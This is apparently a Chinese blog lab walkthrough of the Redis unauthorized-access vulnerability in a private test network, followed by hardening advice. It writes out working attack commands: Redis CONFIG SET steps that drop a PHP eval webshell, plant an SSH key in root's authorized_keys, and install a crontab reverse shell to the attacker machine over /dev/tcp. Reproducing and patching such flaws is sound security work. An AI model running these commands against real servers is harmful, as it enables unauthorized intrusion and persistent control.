首先,第一個復現Redis未授權訪問這個漏洞是有原因的,在 2019-07-24 的某一天,我同學的服務器突然特別卡,卡到連不上的那種,通過 top,free,netstat 等命令查看后發現,CPU占用200%,並且存在可疑進程,在很多目錄下發現了可疑文件。經過排查后,確定為全盤感染的挖礦病毒,而可能的入口就是 Redis 的 6379 端口。
漏洞危害
Redis 在默認安裝情況下,綁定的端口為 6379
,沒有添加過防火牆信任規則,修改默認端口等防護策略,這相當於直接將 Redis服務暴露到公網上,如果沒有設置密碼認證(默認為空)的情況,會導致任意用戶都可訪問目標服務器--即未授權訪問Redis以及讀取Redis的數據。如果配攻擊者未授權訪問Redis的情況下,可利用Redis自身提供的config命令,進行文件的讀寫操作,攻擊者可以直接將自己的ssh公鑰寫入目標服務器的/root/.shh文件夾的authotrized_keys文件中,進而直接使用對應私鑰通過SSH登錄目標服務器。
簡單來說
- 攻擊者無需授權,直接讀取內部數據,導致敏感信息泄露。
- 攻擊者可以直接通過命令讀寫文件,植入后門。
- 如果Redis以root身份運行,攻擊者可以將SSH公鑰寫入root賬戶下,直接通過SSH登錄目標服務器
影響版本
目前測試(自己)
Redis 2.x 4.x 5.x
都存在,可測試,以實際環境為主
Redis的環境搭建(靶機)
安裝/環境配置
下載 Redis 安裝包 / 並解壓到指定目錄
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar -zxf redis-2.8.17.tar.gz -C [指定目錄]
進入Redis目錄 / 運行 make
安裝
cd ../modules/redis-2.8.17/
make
安裝成功
復制啟動程序到 /usr/bin/
目錄下
進入 redis-2.8.17/src
復制 redis-cli、redis-server
到 /usr/bin/
目錄下方便redis啟動
將redis.conf拷貝到/opt/目錄下
開啟防火牆打開6379端口
不然外網連接不到
防火牆開啟6379端口
iptables -I INPUT -p tcp --dport 6379 -j ACCEPT
開啟Redis服務
指定配置文件開啟服務
redis-server /opt/redis.conf
本地測試連接
客戶端登錄
redis-cli
測試ping命令
查看密鑰
接下來演示攻擊者利用未授權訪問漏洞
未授權訪問漏洞演示
這里我選擇Kali作為攻擊機
在Kali上安裝 / 配置 Redis
安裝上面的步驟
靶機 IP : 192.168.80.11
攻擊機 IP : 192.168.80.134
使用redis客戶端直接訪問無密碼的redis
客戶端登錄 redis-cli -h 192.168.80.11
從登錄結果可以看出redis服務被暴露在公網上,並且沒有啟用身份認證
接下來進一步滲透
利用redis的config寫webshell
利用條件:
- redis未授權,攻擊者可以直接用客戶端連接,且未驗證登錄
- 開啟了web服務器,並且得知路徑(可以利用phpinfo或者錯誤爆路徑等)
- 需要有讀寫文件的權限
這些都是可以嘗試的測試點
我這里用之前搭建好的Nginx+PHP web服務器來測試
嘗試寫入webshell到web服務器內(/usr/local/nginx/html
假設得知了web服務器的根目錄)
利用config命令進行文件讀寫:
CONFIG SET dir /usr/local/nginx/html
設置文件目錄
CONFIG SET dbfilename shell.php
設置文件名
SET webshell "<?php eval($_POST['r0cky']);?>"
寫文件內容
save
保存到指定路徑
查看寫入的文件
接着嘗試c刀連接或者蟻劍
url :http://192.168.80.11/shell.php
利用"公私鑰"認證獲取root權限
靶機開啟redis服務
redis-server /opt/redis.conf
在攻擊機生成ssh公鑰和私鑰,密碼設置為空
ssh-keygen -t rsa
將生成的公鑰保存到文件中
進入到.ssh文件夾內 cd ~/.ssh/
我這里是root用戶目錄
保存公鑰到gssh.txt文件
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > gssh.txt
連接redis服務寫入文件
將保存的公鑰寫入到redis服務器上
cat gssh.txt | redis-cli -h 192.168.80.11 -x set crackit
遠程登錄靶機的redis服務
redis-cli -h 192.168.80.11
獲取redis備份的路徑
CONFIG GET dir
更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh)
CONFIG SET dir /root/.ssh/
這個情況說明,目標服務器root沒有ssh公私鑰,需要手動創建一個
再來設置
設置上傳公鑰的備份文件名為authorized_keys
CONFIG SET dbfilename authorized_keys
查看是否更改成功 CONFIG GET dbfilename
保存&退出
save
& exit
這樣就成功的寫入ssh公鑰到目標服務器上了
攻擊者使用ssh免密登錄目標服務器
ssh -i id_rsa root@192.168.80.11
利用crontab反彈shell
在攻擊機上開啟端口監聽
nc -lvnp 10086
端口未被占用
通過redis向目標服務器寫入任務計划
任務計划:*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1
連接redis,寫入反彈shell
redis-cli -h 192.168.80.11
連接redis
寫入任務計划每隔一分鍾向自己的IP端口發送shell
SET cron "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1\n\n"
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
save
間隔一分鍾后收到反彈回來的shell
執行命令
至此Redis未授權訪問的漏洞基本上就如上述演示
修復方案
采用綁定IP方式進行控制
修改 redis.conf
# By default Redis listens for connections from all the network interfaces
# available on the server. It is possible to listen to just one or multiple
# interfaces using the "bind" configuration directive, followed by one or
# more IP addresses.
#
# Examples:
#
# bind 192.168.1.100 10.0.0.1
bind 127.0.0.1
去掉 # bind 127.0.0.1
的#
,這表示只有本地才能訪問redis,這種情況需要通過 redis-server /opt/redis.conf
指定配置文件啟動才會生效。這種方法的缺點就是,如果想要多台機器都能訪問,就必須添加多個機器的IP用空格隔開,相對比較麻煩。
測試
開啟redis
redis-server /opt/redis.conf
測試結果:未綁定IP無法訪問
設置訪問密碼,來提供遠程登陸
也是在 redis.conf 修改
在命令行輸入 /requirepass
來查找字符串
去掉 #
設置可是為
requirepass [你的密碼]
比如我設置為 requirepass r0cky
測試
客戶端連接redis
redis-cli -h [IP] -p [port]
輸入命令會報錯,說明可以連接但是沒有權限執行命令,需要授權后才可以執行命令
授權
auth [設置的密碼]
授權后可以訪問
以低權限運行Redis服務
配置防火牆策略
自己寫了一個簡單的Redis未授權漏洞掃描工具,僅供學習和參考 Redis未授權漏洞掃描